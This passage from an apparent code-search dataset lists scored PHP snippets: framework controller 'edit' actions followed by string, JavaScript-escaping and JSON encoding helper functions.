"ccaae343a137f9e31b8e70fe6ec59921", "score": "0.6716282", "text": "public function editAction()\n {\n $id = (int) $this->params()->fromRoute('id', 0);\n $book = $this->getBookTable()->getBook($id);\n \n $form = new BookForm();\n $form->bind($book);\n $form->get('submit')->setValue('Edit');\n\n $request = $this->getRequest();\n // Check If Request Is Post Verb\n if ($request->isPost()) {\n\n $form->setInputFilter($book->getInputFilter());\n $form->setData($request->getPost());\n \n if ($form->isValid()) {\n \n $this->getBookTable()->saveBook($book);\n // redirect to list of Books\n return $this->redirect()->toRoute('book');\n }\n }\n\n return new ViewModel(array(\n 'id' => $id,\n 'form' => $form\n ));\n }", "title": "" }, { "docid": "1110a6c85644f6c97ab354fc802c4a0e", "score": "0.67075413", "text": "public function edit($id)\n {\n\t\t$params = [\n\t\t\t'data' => $this->repository->findById($id),\n\t\t];\n\n\t\treturn view('admin.pages.supplier-form-update', ['page' => 'supplier'])->with($params);\n\t}", "title": "" }, { "docid": "1cca59891cd9a1a8eab0c4cfa3efec29", "score": "0.6705557", "text": "public function edit()\n {\n $work = Work::find($_GET['id']);\n $data = array('work' => $work);\n $this->render('edit', $data);\n }", "title": "" }, { "docid": "a880aa2a9bbdd8e600e961cc44a30611", "score": "0.6704717", "text": "public function actionEdit()\n\t{\n\t\t\\Yii::$app->response->format = \\yii\\web\\Response::FORMAT_JSON;\n\t\t\n\t\t$request = \\Yii::$app->getRequest();\n\t\t\n\t\t//Initial vars\n\t\t$html = '';\n\t\t$msg = Yii::t('messages', 'Failure!');\n\t\t\n\t\t//Check request is ajax\n\t\tif($request->isAjax)\n\t\t{\n\t\t\t//Get POST data\n\t\t\t$post = Yii::$app->request->post();\n\t\t\t$id = (isset($post['item'])) ? intval($post['item']) : '';\n\t\t\t\n\t\t\t//Check id\n\t\t\tif($id > 0)\n\t\t\t{\n\t\t\t\t//Get model data\n\t\t\t\t$model = $this->findModel($id);\n\t\t\t\t\n\t\t\t\t//Get form for displaying in page\n\t\t\t\t$html = $this->renderAjax('partial/edit_form', [\n\t\t\t\t\t'model' => $model,\n\t\t\t\t\t'id' => $id\n\t\t\t\t]);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn ['html' => $html, 'msg' => $msg];\n\t}", "title": "" }, { "docid": "6013921085b400bbe9e5db59541b73b1", "score": "0.6703275", "text": "public function edit($id)\n {\n return view('faq::Admin/Form', [\n 'model' => $this->faq->getById($id)\n ]);\n }", "title": "" }, { "docid": "40a0f532b30525e860441d9398256e57", "score": "0.6702148", "text": "public function edit()\n\t{\n\t\t$fb = App::make('formbuilder');\n\t\t$fb->route('user.update');\n\t\t$fb->method('put');\n\t\t$fb->model(Sentry::getUser());\n\t\t$fb->text('email')->label('E-mail address');\n\t\t$fb->password('password')->label('Choose a password');\n\t\t$fb->text('username')->label('Choose a username');\n\t\t$form = $fb->build();\n\n return View::make('user.edit', compact('form'));\n\t}", "title": "" }, { "docid": "e3ff61e18a508ad865596d2d7979c61c", "score": "0.66910356", "text": "public function edit($id)\n {\n $title = 'EDITAR REGISTRO';\n $user = formulario::find($id);\n return view('forms.edit',compact('user','title'));\n }", "title": "" }, { "docid": "6593cfdb18f1cef76f37b77910191c1a", "score": "0.6690261", "text": "public static function edit()\n {\n $record = todos::findOne($_REQUEST['id']);\n\n self::getTemplate('edit_task', $record);\n\n }", "title": "" }, { "docid": "5d00016db02a20e9d4b01dced690ae3c", "score": "0.66855204", "text": "public function edit()\n {\n return view('tender::edit');\n }", "title": "" }, { "docid": "4f71399e4c8f08115a843f3eea8564c0", "score": "0.6683238", "text": "public function edit($id)\n {\n //no web interface form.\n }", "title": "" }, { "docid": "f7c6f8c80580ed4b41cc600395910e73", "score": "0.668285", "text": "public function edit($id)\n\t{\n\t\treturn view('jobform', ['job' => Job::find($id)]);\n\t}", "title": "" }, { "docid": "d1af964df703d282b384e4b4b3fc661a", "score": "0.6680777", "text": "public function editAction()\n {\n $this->throwForbiddenUnless(SecurityUtil::checkPermission($this->name . '::', '::', ACCESS_ADD), LogUtil::getErrorMsgPermission());\n $form = FormUtil::newForm($this->name, $this);\n return $form->execute('admin/edit.tpl', new Edit());\n }", "title": "" }, { "docid": "6c0376e096733d3b0fa90503eef2434b", "score": "0.6677822", "text": "public function edit()\n {\n return view('bangunan::edit');\n }", "title": "" }, { "docid": "0a9012acf11e6cf51d612505152fb4b1", "score": "0.66761804", "text": "function edit()\n{\n\tif (isset($_GET['id'])) {\n\t$id = $_GET['id'];\n\t}\n\t// If post is submit then \n\tif (isset($_POST['submit'])) {\n\n\t\t$specie = $_POST['name'];\n\t\teditSpecie($specie, $id);\n\t}\n\t$specie = getSpecie($id);\n\trender('specie/edit', array(\"specie\" => $specie));\n}", "title": "" }, { "docid": "98c3057a696eb14943e7e5fea5851c0b", "score": "0.6665287", "text": "public function edit($id)\n {\n return $this->showForm($id);\n }", "title": "" }, { "docid": "58fa8a98152b59c2e07c439335e492b4", "score": "0.6664993", "text": "public function edit($id)\n {\n return view('web::edit');\n }", "title": "" }, { "docid": "8dde096e26811c4848495f8ef942f388", "score": "0.66648495", "text": "public function edit($id)\n\t{\n\t\t$consulting = Consulting::findOrfail($id) ;\n\t\t$type \t = 'edit' ;\n\t\t\n\t\treturn view('admin.consulting.edit' , compact('consulting' , 'type')) ;\n\t}", "title": "" }, { "docid": "6af50c7db28916d7c5fb1b181a5a08f3", "score": "0.6653586", "text": "public function edit($id)\n\t{\n $form_data = ['route' => [self::$prefixRoute . 'update', $this->patient->id], 'method' => 'PUT', 'files' => 'true'];\n\n return view(self::$prefixView . 'form', compact('form_data'))\n \t->with(['patient' => $this->patient, 'occupations' => $this->occupations,\n \t\t'genders' => $this->genders, 'doc_types' => $this->doc_types]);\n\t}", "title": "" }, { "docid": "30ea40eb00122708e0190270ec29da86", "score": "0.66535467", "text": "public function edit($id)\n\t{\n\t\t$Coordinacion = ['Coordinacion' =>Coordinacion::lists('Nombre_Coordinacion', 'id')];\n\t\t$ProgramaFormaciones= ProgramaFormacion::find($id);\n\t\treturn \\View::make('ProgramaFormacion/update',compact('ProgramaFormaciones','Coordinacion'));\n\t}", "title": "" }, { "docid": "5abc6953fae7162215480b7a9fef57c1", "score": "0.66518015", "text": "public function edit()\n {\n return view('collection::edit');\n }", "title": "" }, { "docid": "e251c12edf60b44bfb7f0149c27bd6fb", "score": "0.6651207", "text": "public function edit()\n {\n return view('wage::edit');\n }", "title": "" }, { "docid": "f7bd52c4216f50ae40e29aa9291a3153", "score": "0.66463226", "text": "public function edit($id) {}", "title": "" }, { "docid": "68951ca772c50059eed3598272a55a04", "score": "0.6640842", "text": "public function edit($id)\n {\n $product = $this->product->find($id);\n \n return view('backend.products.form', compact('product'));\n }", "title": "" }, { "docid": "c315ed6d4c45ae50df17c5c88e6e7d1b", "score": "0.66360766", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('ExploticFormationBundle:Programme')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Programme entity.');\n }\n\n $editForm = $this->createForm(new ProgrammeType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('ExploticFormationBundle:Programme:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "263a6d0205704b8194e7dfa98591df9b", "score": "0.6631315", "text": "public function edit($id)\n {\n $post = Resident::find($id);\n return view('Resident.update',compact('post'));\n }", "title": "" }, { "docid": "2c16ec446fe0f98e637b9db6f176c314", "score": "0.66312844", "text": "public function edit() {\n\t\treturn view('menunodes::edit');\n\t}", "title": "" }, { "docid": "bfc930933e9f3e9d06498ce4cba6f6d7", "score": "0.6628591", "text": "public function edit($id)\n {\n $model = Penyakit::findOrFail ($id);\n return view('penyakit.form', compact('model'));\n }", "title": "" }, { "docid": "5af850265a4a33e59e46a01b80ede2a3", "score": "0.6627662", "text": "public function edit()\n {\n return view('user::edit');\n }", "title": "" }, { "docid": "5af850265a4a33e59e46a01b80ede2a3", "score": "0.6627662", "text": "public function edit()\n {\n return view('user::edit');\n }", "title": "" }, { "docid": "6c7bf6b61cccd78f9bdd9fe827ba971e", "score": "0.66228884", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('FaqBundle:Faq')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Faq entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('FaqBundle:Faq:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "8bc6a12adfcb55f0d15b83ee616716b8", "score": "0.66190886", "text": "public function edit()\n\n {\n\n return view('petro::edit');\n }", "title": "" }, { "docid": "4ff556dfbe00e2d7a94424804ebd14e3", "score": "0.6617852", "text": "public function editAction(){\n $id = $this->request->get('id');\n\n if($id === null){\n $product = new Product();\n }\n else{\n $product = $this->productService->getProductById($id);\n\n if(empty($product)){\n return $this->redirect($this->generateUrl('product_dashboard'));\n }\n }\n\n $form = $this->createForm(new ProductType(), $product);\n\n if($this->request->isMethod('POST')){\n $form->handleRequest($this->request);\n\n if($form->isValid()){\n\n $product->setAuthor($this->getUser());\n $this->productService->save($product);\n\n return $this->redirect($this->generateUrl('product_view', array(\n 'id' => $product->getId()\n )));\n }\n }\n\n return $this->render('AppBundle:Product:edit.html.twig', array(\n 'form' => $form->createView()\n ));\n }", "title": "" }, { "docid": "d1b55e71bd2a8908de15040ec8aeb5cf", "score": "0.661768", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('ManuTfeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('ManuTfeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "fbedcf2a06421ca46ad8913d5241677f", "score": "0.6610915", "text": "public function edit($pid)\n {\n $page = Page::find($pid);\n\n //$resources = $page->resources;\n \n return view('backend.page.edit', [ 'page' => $page ]);\n }", "title": "" }, { "docid": "f650ecccdc3bc04d40c14326ca38a218", "score": "0.65994453", "text": "public function edit()\r\r {\r\r $this->page_title->push(lang('company_edit'));\r\r $this->data['pagetitle'] = $this->page_title->show();\r\r\r /* Breadcrumbs :: Common */\r\r $this->breadcrumbs->unshift(1, lang('company_edit'), 'admin/client/company/edit');\r\r\r /* Breadcrumbs */\r\r $this->data['breadcrumb'] = $this->breadcrumbs->show();\r\r\r /* Data */\r\r $this->data['error'] = NULL;\r\r $this->data['charset'] = 'utf-8';\r\r $this->data['form_url'] = 'admin/client/company/update';\r\r\r /* Load Template */\r\r $this->template->admin_render('admin/companies/edit', $this->data);\r\r\r }", "title": "" }, { "docid": "4cbc72aea8193be8560ed0067ce3d4c0", "score": "0.6599022", "text": "protected function edit()\n {\n $this->index();\n\n $this->manager->register('edit', function (BreadcrumbsGenerator $breadcrumbs) {\n $breadcrumbs->parent('index');\n\n $breadcrumbs->push(trans('administrator::module.action.edit', [\n 'resource' => $this->module->singular(),\n 'instance' => $this->presentEloquent(),\n ]), null);\n });\n }", "title": "" }, { "docid": "2a47ad7ce79b806f24d1a15c7fc9c440", "score": "0.6596694", "text": "public function edit($id)\n {\n return view('frontend::edit');\n }", "title": "" }, { "docid": "815fc178547c2d0d001ea48b96ac28de", "score": "0.65963316", "text": "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MyAppFrontBundle:Recommandation')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Recommandation entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MyAppFrontBundle:Recommandation:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "52f52954a41b6894d59ede21ba179876", "score": "0.6592572", "text": "public function edit($id)\n\t{\n $form_data = ['route' => [self::$prefixRoute . 'update', $this->inventary->id], 'method' => 'PUT'];\n\n return view(self::$prefixView . 'form', compact('form_data'))\n \t->with(['inventary' => $this->inventary,\n \t\t\t'presentation' => $this->presentation,\n \t\t\t'medicament' => $this->medicament,\n \t\t\t'measure' => $this->measure]);\n\t}", "title": "" }, { "docid": "203016e427fa0c848cb2dfcb175f5f26", "score": "0.65909845", "text": "public function edit($id)\n\t{\n\t\t//\n\t\treturn \"Se muestra formulario para editar Fabricante con id: $id\";\n\t}", "title": "" }, { "docid": "4d84262d451772dea46e8a483cc70202", "score": "0.6590121", "text": "public function edit(FarmerFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "title": "" }, { "docid": "c70cbbbdfd3372e3e7492227dff7246e", "score": "0.6589953", "text": "public function edit($id)\n {\n $model = $this->actClass->find($id);\n return view('admin.actClass.form', compact('model'));\n }", "title": "" }, { "docid": "6560ccaab1f3afa48d06c1b0ef34fde3", "score": "0.65884537", "text": "public function edit (Person $person){\n return view('person/form', ['action'=>'edit', 'data'=>$person]);\n }", "title": "" }, { "docid": "faafbb4ae21cd5b31b7149b9a5fbd037", "score": "0.6587954", "text": "function action_edit() {\n $id = required_param('id', PARAM_INT);\n\n $target = $this->get_new_page(array('action' => 'edit'));\n $obj = new $this->data_class($id);\n\n if(!$obj->get_dbloaded()) {\n error('Invalid object id: ' . $id . '.');\n }\n\n $form = new $this->form_class($target->get_moodle_url(), array('obj' => $obj));\n\n if ($form->is_cancelled()) {\n $this->action_view();\n return;\n }\n\n $data = $form->get_data();\n\n if($data) {\n $obj->set_from_data($data);\n $obj->update(); // TODO: create a generalized \"save\" method that decides whether to do update or add\n $target = $this->get_new_page(array('action' => 'view', 'id' => $id));\n redirect($target->get_url(), ucwords($obj->get_verbose_name()) . ' ' . $obj->to_string() . ' updated.');\n } else {\n $this->print_tabs('edit', array('id' => $id));\n $form->display();\n }\n }", "title": "" }, { "docid": "f773c211c125d55f3608be2d87ccf7e1", "score": "0.6582249", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('asociateyaBundle:Emprendedor')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Emprendedor entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('asociateyaBundle:Emprendedor:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "b13cb81e8f51511954801a67cf32d581", "score": "0.65808743", "text": "public function edit() {\n $this->view->isSource = true;\n\n if (!empty($_GET[\"name\"])) {\n $data = $this->model::getByName($_GET['name']);\n $this->view->source = $this->model::getByName($_GET['name']);\n }\n\n if (!empty($_GET['id'])) {\n $data = $this->model::getById($_GET['id']);\n $this->view->isSource = false;\n }\n\n $this->view->setData($data);\n $this->view->setTemplate(EDIT_TEMPLATE);\n $this->view->render();\n\n // No name was given, this needs to be handled.\n }", "title": "" }, { "docid": "70e3eeb150905e8b48dd4b8560cfe424", "score": "0.65800774", "text": "public function edit($id)\n\t{\n\t\t$permission = Company::getPermission();\n if(@$permission->modifica) {\n\t\t\t$company = Company::find($id);\n\t\t\tif(!$company instanceof Company) {\n\t\t\t\tApp::abort(404);\t\n\t\t\t}\t\n\n\t return View::make('core.companys.form')->with(['company' => $company]);\n\t\t}else{\n return View::make('core.denied'); \n }\n\t}", "title": "" }, { "docid": "d7a17764d671a9f5eabc201f61a42daa", "score": "0.6578637", "text": "public function edit($id)\n\t{\n $revendedor = Revendedora::findOrFail($id);\n\n return view('revendedora.edit')->with('revendedor',$revendedor);\n\t}", "title": "" }, { "docid": "5eeda893f9563e6e4d9ef7aac6ef14dd", "score": "0.6577146", "text": "public function edit($id)\n {\n // get the product\n $product = Product::find($id);\n\n // show the edit form and pass the product\n return view()->make('product.editProduct')->with('product', $product);\n }", "title": "" }, { "docid": "1e6714a2833c2286fe5202063d157362", "score": "0.6576595", "text": "public function edit($id)\n {\n //\n $person = Person::find($id);\n return view('admin.person.edit',compact('person'));\n\n }", "title": "" }, { "docid": "996a4dd9944626c012614b35e16435f1", "score": "0.6575236", "text": "public function edit($id){ }", "title": "" }, { "docid": "a651c6517dc564dd0eb52196153145f4", "score": "0.65690035", "text": "public function edit($id)\n {\n $company = Company::find($id);\n\n return view('admin.company.form', [\n 'company' => $company,\n 'route' => ['admin.company.update', $company->id],\n 'method' => 'PUT',\n ]);\n }", "title": "" } ]
dc7922f557f6d35ef68a3cd9b3562652
encode any string for safe usage in javascript variables
[ { "docid": "9ad6f72df7a9894907ca75d6d254362d", "score": "0.74591976", "text": "function encode_javascript($str)\n{\n return '\"' . addcslashes($str, \"\\\\\\\"\\n\\r\\t/\" . chr(8) . chr(12)) . '\"';\n}", "title": "" } ]
[ { "docid": "faae31e8ebd4b11a6a2dc3da2fc3255d", "score": "0.7202205", "text": "function xinha_js_encode($string)\n {\n static $strings = \"\\\\,\\\",',%,&,<,>,{,},@,\\n,\\r\";\n\n if(!is_array($strings))\n {\n $tr = array();\n foreach(explode(',', $strings) as $chr)\n {\n $tr[$chr] = sprintf('\\x%02X', ord($chr));\n }\n $strings = $tr;\n }\n\n return strtr($string, $strings);\n }", "title": "" }, { "docid": "43477491f5026561c8fd689ee4fae17e", "score": "0.71443176", "text": "static function encode($var){\n\t\treturn encoder::encode($var);\n\t\t}", "title": "" }, { "docid": "58f81f9fc7ffce0b38543a13c3315703", "score": "0.69138247", "text": "function encodeUnsafe($var)\n\t{\n\t\treturn $this->_encode($var);\n\t}", "title": "" }, { "docid": "e8d28a2d9ddfda69b2b86293b47456d1", "score": "0.68985313", "text": "function encode_string($str)\n{\n addslashes(trim($str));\n return $str;\n}", "title": "" }, { "docid": "d6373859ced06f6adc71d17c498b96fe", "score": "0.68281263", "text": "private function _customUrlEncode($var) {\n return str_replace('%7E', '~', rawurlencode($var));\n }", "title": "" }, { "docid": "a39d2af8c8a284f7ca6b676b5c9b1b9f", "score": "0.6816422", "text": "public static function jsEscape($string){\n\t\treturn json_encode($string,JSON_UNESCAPED_UNICODE);\n\t}", "title": "" }, { "docid": "50247ccdb12aa944f8f328922dedeb81", "score": "0.67953914", "text": "function drush_json_encode($var) {\n // json_encode() does not escape <, > and &, so we do it with str_replace().\n return str_replace(array('<', '>', '&'), array('\\u003c', '\\u003e', '\\u0026'), json_encode($var));\n}", "title": "" }, { "docid": "c65da4707800679a004a5d51b9fd44da", "score": "0.67184263", "text": "static function encJavascript(&$js)\n {\n }", "title": "" }, { "docid": "0ae1ecf9ceac67bccb64462cc2f00386", "score": "0.6692674", "text": "function encodeIt($string)\r\r\n{\r\r\n\t$tempString = str_replace(\"`\",\t\"!000!\",$string);\r\r\n\t$tempString = str_replace(\"\\\"\",\t\"!001!\",$tempString);\r\r\n\t$tempString = str_replace(\"\\\\\",\t\"!010!\",$tempString);\r\r\n\t$tempString = str_replace(\"+\",\t\"!011!\",$tempString);\r\r\n\t$tempString = str_replace(\"\\'\",\t\"!100!\",$tempString);\r\r\n\t$tempString = str_replace(\"-\",\t\"!101!\",$tempString);\r\r\n\t$tempString = str_replace(\"#\",\t\"!110!\",$tempString);\r\r\n\t$tempString = str_replace(\".\",\t\"!111!\",$tempString);\r\r\n\r\r\n\treturn $tempString;\r\r\n\r\r\n}", "title": "" }, { "docid": "61739ee3592eba4b4643bd7e70c986d8", "score": "0.6678895", "text": "public function encode();", "title": "" }, { "docid": "61739ee3592eba4b4643bd7e70c986d8", "score": "0.6678895", "text": "public function encode();", "title": "" }, { "docid": "61739ee3592eba4b4643bd7e70c986d8", "score": "0.6678895", "text": "public function encode();", "title": "" }, { "docid": "c58bc0cfe5616572954a42f9014e3540", "score": "0.6618215", "text": "function encode($var)\n {\n switch (gettype($var)) {\n case 'boolean':\n return $var ? 'true' : 'false';\n\n case 'NULL':\n return 'null';\n\n case 'integer':\n return (int) $var;\n\n case 'double':\n case 'float':\n return (float) $var;\n\n case 'string':\n // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT\n $ascii = '';\n $strlen_var = strlen($var);\n\n /*\n * Iterate over every character in the string,\n * escaping with a slash or encoding to UTF-8 where necessary\n */\n for ($c = 0; $c < $strlen_var; ++$c) {\n\n $ord_var_c = ord($var{$c});\n\n switch (true) {\n case $ord_var_c == 0x08:\n $ascii .= '\\b';\n break;\n case $ord_var_c == 0x09:\n $ascii .= '\\t';\n break;\n case $ord_var_c == 0x0A:\n $ascii .= '\\n';\n break;\n case $ord_var_c == 0x0C:\n $ascii .= '\\f';\n break;\n case $ord_var_c == 0x0D:\n $ascii .= '\\r';\n break;\n\n case $ord_var_c == 0x22:\n case $ord_var_c == 0x2F:\n case $ord_var_c == 0x5C:\n // double quote, slash, slosh\n $ascii .= '\\\\'.$var{$c};\n break;\n\n case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):\n // characters U-00000000 - U-0000007F (same as ASCII)\n $ascii .= $var{$c};\n break;\n\n case (($ord_var_c & 0xE0) == 0xC0):\n // characters U-00000080 - U-000007FF, mask 110XXXXX\n // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8\n $char = pack('C*', $ord_var_c, ord($var{$c + 1}));\n $c += 1;\n $utf16 = $this->utf82utf16($char);\n $ascii .= sprintf('\\u%04s', bin2hex($utf16));\n break;\n\n case (($ord_var_c & 0xF0) == 0xE0):\n // characters U-00000800 - U-0000FFFF, mask 1110XXXX\n // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8\n $char = pack('C*', $ord_var_c,\n ord($var{$c + 1}),\n ord($var{$c + 2}));\n $c += 2;\n $utf16 = $this->utf82utf16($char);\n $ascii .= sprintf('\\u%04s', bin2hex($utf16));\n break;\n\n case (($ord_var_c & 0xF8) == 0xF0):\n // characters U-00010000 - U-001FFFFF, mask 11110XXX\n // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8\n $char = pack('C*', $ord_var_c,\n ord($var{$c + 1}),\n ord($var{$c + 2}),\n ord($var{$c + 3}));\n $c += 3;\n $utf16 = $this->utf82utf16($char);\n $ascii .= sprintf('\\u%04s', bin2hex($utf16));\n break;\n\n case (($ord_var_c & 0xFC) == 0xF8):\n // characters U-00200000 - U-03FFFFFF, mask 111110XX\n // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8\n $char = pack('C*', $ord_var_c,\n ord($var{$c + 1}),\n ord($var{$c + 2}),\n ord($var{$c + 3}),\n ord($var{$c + 4}));\n $c += 4;\n $utf16 = $this->utf82utf16($char);\n $ascii .= sprintf('\\u%04s', bin2hex($utf16));\n break;\n\n case (($ord_var_c & 0xFE) == 0xFC):\n // characters U-04000000 - U-7FFFFFFF, mask 1111110X\n // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8\n $char = pack('C*', $ord_var_c,\n ord($var{$c + 1}),\n ord($var{$c + 2}),\n ord($var{$c + 3}),\n ord($var{$c + 4}),\n ord($var{$c + 5}));\n $c += 5;\n $utf16 = $this->utf82utf16($char);\n $ascii .= sprintf('\\u%04s', bin2hex($utf16));\n break;\n }\n }\n\n return '\"'.$ascii.'\"';\n\n case 'array':\n /*\n * As per JSON spec if any array key is not an integer\n * we must treat the the whole array as an object. We\n * also try to catch a sparsely populated associative\n * array with numeric keys here because some JS engines\n * will create an array with empty indexes up to\n * max_index which can cause memory issues and because\n * the keys, which may be relevant, will be remapped\n * otherwise.\n *\n * As per the ECMA and JSON specification an object may\n * have any string as a property. Unfortunately due to\n * a hole in the ECMA specification if the key is a\n * ECMA reserved word or starts with a digit the\n * parameter is only accessible using ECMAScript's\n * bracket notation.\n */\n\n // treat as a JSON object\n if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {\n $properties = array_map(array($this, 'name_value'),\n array_keys($var),\n array_values($var));\n\n foreach($properties as $property) {\n if(Services_JSON::isError($property)) {\n return $property;\n }\n }\n\n return '{' . join(',', $properties) . '}';\n }\n\n // treat it like a regular array\n $elements = array_map(array($this, 'encode'), $var);\n\n foreach($elements as $element) {\n if(Services_JSON::isError($element)) {\n return $element;\n }\n }\n\n return '[' . join(',', $elements) . ']';\n\n case 'object':\n $vars = get_object_vars($var);\n\n $properties = array_map(array($this, 'name_value'),\n array_keys($vars),\n array_values($vars));\n\n foreach($properties as $property) {\n if(Services_JSON::isError($property)) {\n return $property;\n }\n }\n\n return '{' . join(',', $properties) . '}';\n\n default:\n return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)\n ? 'null'\n : new Services_JSON_Error(gettype($var).\" can not be encoded as JSON string\");\n }\n }", "title": "" }, { "docid": "e252e55a2abd798472eebf436de99aca", "score": "0.6617652", "text": "public function escapeJs($string);", "title": "" }, { "docid": "3dba39056acdc90720280af4cd4f1fb0", "score": "0.6596328", "text": "function json_encode_string($in_str)\n{\n\t//mb_internal_encoding('UTF-8');\n\t$convmap = array(0x80, 0xFFFF, 0, 0xFFFF);\n\t$str = \"\";\n\t\n\tfor($i = mb_strlen($in_str) - 1; $i >= 0; $i--)\n\t{\n\t\t$mb_char = mb_substr($in_str, $i, 1);\n\t\t\n\t\tif(mb_ereg(\"&#(\\\\d+);\", mb_encode_numericentity($mb_char, $convmap, 'UTF-8'), $match))\n\t\t{\n\t\t\t$str = sprintf(\"\\\\u%04x\", $match[1]) . $str;\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$str = $mb_char . $str;\n\t\t}\n\t}\n\t\n\treturn $str;\n}", "title": "" }, { "docid": "31adc016250ddf176e5cc8e50807796c", "score": "0.65831935", "text": "abstract public function encode();", "title": "" }, { "docid": "176162ae5f08801c25c9c25aa8d56ee5", "score": "0.6548659", "text": "function escapejs() {\n // Thanks Heine!: http://drupal.org/node/479368#pift-results-479368-3198\n // 886-3198886.\n static $replace_pairs = array('\\\\' => '\\u005C', '\"' => '\\u0022',\n \"\\x00\" => '\\u0000', \"\\x01\" => '\\u0001', \"\\x02\" => '\\u0002',\n \"\\x03\" => '\\u0003', \"\\x04\" => '\\u0004', \"\\x05\" => '\\u0005',\n \"\\x06\" => '\\u0006', \"\\x07\" => '\\u0007', \"\\x08\" => '\\u0008',\n \"\\x09\" => '\\u0009', \"\\x0a\" => '\\u000A', \"\\x0b\" => '\\u000B',\n \"\\x0c\" => '\\u000C', \"\\x0d\" => '\\u000D', \"\\x0e\" => '\\u000E',\n \"\\x0f\" => '\\u000F', \"\\x10\" => '\\u0010', \"\\x11\" => '\\u0011',\n \"\\x12\" => '\\u0012', \"\\x13\" => '\\u0013', \"\\x14\" => '\\u0014',\n \"\\x15\" => '\\u0015', \"\\x16\" => '\\u0016', \"\\x17\" => '\\u0017',\n \"\\x18\" => '\\u0018', \"\\x19\" => '\\u0019', \"\\x1a\" => '\\u001A',\n \"\\x1b\" => '\\u001B', \"\\x1c\" => '\\u001C', \"\\x1d\" => '\\u001D',\n \"\\x1e\" => '\\u001E', \"\\x1f\" => '\\u001F', \"'\" => '\\u0027',\n '<' => '\\u003C', '>' => '\\u003E', '&' => '\\u0026',\n '/' => '\\u002F', \"\\xe2\\x80\\xa8\" => '\\u2028',\n \"\\xe2\\x80\\xa9\" => '\\u2029',);\n if (is_array($this->_v) || $this->_v instanceof stdClass) $vs = &$this->_v; \n else $vs = array(&$this->_v);\n foreach($vs as &$v)\n if (!is_array($v) && !($v instanceof stdClass))\n $v = strtr($v, $replace_pairs);\n return $this;\n }", "title": "" }, { "docid": "7c0eebdbfb68d4d976382cc4c0b68885", "score": "0.6544755", "text": "function base64_encode_safe($str) {\n return strtr(base64_encode($str), \"+/\", \"-_\");\n }", "title": "" }, { "docid": "c9cb702424b72f34460157ea32ccd827", "score": "0.6526917", "text": "public function escape_for_js(mixed $var): string\n {\n $functionPattern = \"%^\\\\s*function\\\\s*\\\\(%is\";\n $callPattern = \"%^\\w+\\((['\\w\\d]+(,\\\\s['\\w\\d]+)*)?\\)(\\.\\w+\\((['\\w\\d]+(,\\\\s['\\w\\d]+)*)?\\))?$%is\";\n $jsonPattern = \"%^\\\\s*\\\\{.*\\\\}\\\\s*$%is\";\n $arrayPattern = \"%^\\\\s*\\\\[.*\\\\]\\\\s*$%is\";\n\n if (is_bool($var)) {\n return $var ? 'true' : 'false';\n }\n\n if (is_null($var)) {\n return 'null';\n }\n\n if ('undefined' === $var) {\n return 'undefined';\n }\n\n if (is_string($var)\n && !preg_match($functionPattern, $var) \n && !preg_match($callPattern, $var)\n && !preg_match($jsonPattern, $var)\n && !preg_match($arrayPattern, $var)\n ) {\n $var = preg_replace('(\\r\\n|\\r|\\n)', '', $var);\n return '\"'.str_replace('\"', '&quot;', $var).'\"';\n }\n\n if (is_array($var)) {\n $is_assoc = function ($array) {\n return (bool)count(array_filter(array_keys($array), 'is_string'));\n };\n\n if ($is_assoc($var)) {\n $items = array();\n foreach($var as $key => $val) {\n $items[] = '\"'.$key.'\": '.$this->escape_for_js($val);\n }\n return '{'.implode(',', $items).'}';\n } else {\n $items = array();\n foreach($var as $val) {\n $items[] = $this->escape_for_js($val);\n }\n return '['.implode(',', $items).']';\n }\n }\n\n return $var;\n }", "title": "" }, { "docid": "d99d7b6b02c4c9b989fa4047811d9bc8", "score": "0.6520279", "text": "protected function 